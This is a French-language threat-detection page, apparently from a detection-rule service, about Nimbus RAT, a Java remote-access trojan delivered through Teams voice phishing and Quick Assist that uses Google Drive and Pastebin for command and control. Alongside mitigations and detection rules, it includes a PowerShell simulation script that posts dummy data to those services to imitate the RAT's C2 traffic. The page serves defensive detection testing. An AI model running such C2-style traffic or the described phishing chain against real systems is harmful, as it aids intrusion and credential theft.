Nouveau RAT Nimbus Distribué via Microsoft Teams et Google Drive
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Des acteurs malveillants ont utilisé le phishing vocal via Microsoft Teams et Quick Assist pour déployer un cheval de Troie d’accès à distance basé sur Java connu sous le nom de Nimbus RAT. Le logiciel malveillant utilise Google Drive et Google Sheets comme ses canaux de commande et contrôle et inclut sa propre version intégrée de l’environnement d’exécution OpenJDK. Pour le vol de données d’identification, il utilise soit une fausse invite de sécurité Windows, soit l’API native CredUI pour capturer les informations secrètes de l’utilisateur.
Enquête
L’unité de réponse aux menaces d’eSentire a reconstruit la chaîne d’intrusion complète à l’aide des journaux de flux de courrier, de la télémétrie des terminaux et de l’analyse statique du malware Java. La campagne combinait bombardements d’emails, un appel de phishing vocal basé sur Teams, une assistance distante Quick Assist, une feuille d’instructions hébergée sur Pastebin, et un locataire SharePoint compromis utilisé pour distribuer la charge utile.
Mitigation
Les défenses recommandées incluent la désactivation des messages externes de Teams provenant de locataires inconnus, le blocage de Quick Assist là où il n’est pas requis, l’alerte sur les pics d’activité de bombardement d’emails, la surveillance javaw.exe de l’exécution depuis des emplacements inhabituels et la détection des appels suspects à l’API Google Drive initiés par des processus inattendus.
Réponse
Si une activité de Nimbus RAT est détectée, isolez le système affecté, terminez tous les javaw.exe processus associés, supprimez le répertoire C:ProgramDataInboxCorePro et tous les raccourcis de démarrage associés, et envisagez une réimagerie complète du système. Consultez également les journaux d’audit de Google Workspace pour identifier toute autorisation d’application Google Drive non autorisée.
Flux d’attaque
Détections
Exécution d’une application Java depuis un emplacement suspect (via process_creation)
Voir
Binaire / Scripts suspects dans l’emplacement d’autostart (via file_event)
Voir
Domaine GoogleApis possiblement résolu par un processus connu abusé (via dns_query)
Voir
Activité possible d’utilitaire de commande et de contrôle Google (via proxy)
Voir
IOC (HashSha256) pour détecter : Nimbus RAT : Comment les acteurs malveillants exploitent Microsoft Teams et Google Drive pour déployer un RAT Java
Voir
Détection de l’utilisation suspecte des APIs Google et Pastebin [Proxy]
Voir
Détection de l’exécution du Nimbus RAT via javaw.exe et commandes de reconnaissance [Création de processus Windows]
Voir
Exécution de Quick Assist et regedit.exe dans une attaque de vishing [Journal des événements de sécurité de Microsoft Windows]
Voir
Exécution de simulation
Prérequis : Le contrôleur de télémétrie et de base doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer une télémétrie exactement attendue par la logique de détection.
-
Narration de l’attaque et commandes :
L’acteur malveillant a déjà compromis le point final avec le binaire du Nimbus RAT. Pour établir un canal C2 secret, le RAT émet deux requêtes POST HTTP sortantes :- Appel de l’API Google Drive – télécharge une petite charge utile JSON vers
https://www.googleapis.com/drive/v3/files?uploadType=media, imitant le comportement de « téléchargement-payload » du RAT. - Colle Pastebin – publie une chaîne de commande encodée en base-64 vers
https://pastebin.com/api/api_post.phpen utilisant la clé API publique.
Les deux requêtes sont exécutées via
Invoke-WebRequestde PowerShell pour s’assurer que les journaux de pare-feu contiennent le champ dedomaine(googleapis.comandpastebin.com). L’attaquant exécute les commandes sous le contexte de l’utilisateur compromis pour se fondre dans l’activité normale. - Appel de l’API Google Drive – télécharge une petite charge utile JSON vers
-
Script de test de régression :
# -------------------------------------------------------------- # Simulation C2 de Nimbus RAT – déclenche la règle Sigma sur la correspondance de domaine # -------------------------------------------------------------- # 1. Téléchargement factice de l'API Google Drive (sans authentification – se concentre sur la télémétrie de domaine) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Envoyé un téléchargement factice à l'API Google Drive" } catch { Write-Warning "Requête Google Drive échouée (prévu dans le sandbox): $_" } # 2. Post public de l'API Pastebin (nécessite une clé développeur – utilisation d'un espace réservé) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- remplacez par une clé valide pour un vrai test $pastebinText = "echo 'Commande simulée depuis C2'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Posté une commande factice sur Pastebin" } catch { Write-Warning "Requête Pastebin échouée (prévu dans le sandbox): $_" } # -------------------------------------------------------------- # Fin de la simulation # -------------------------------------------------------------- -
Commandes de nettoyage :
# Supprimez tous les fichiers temporaires ou les variables utilisés pendant la simulation Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] Nettoyage terminé."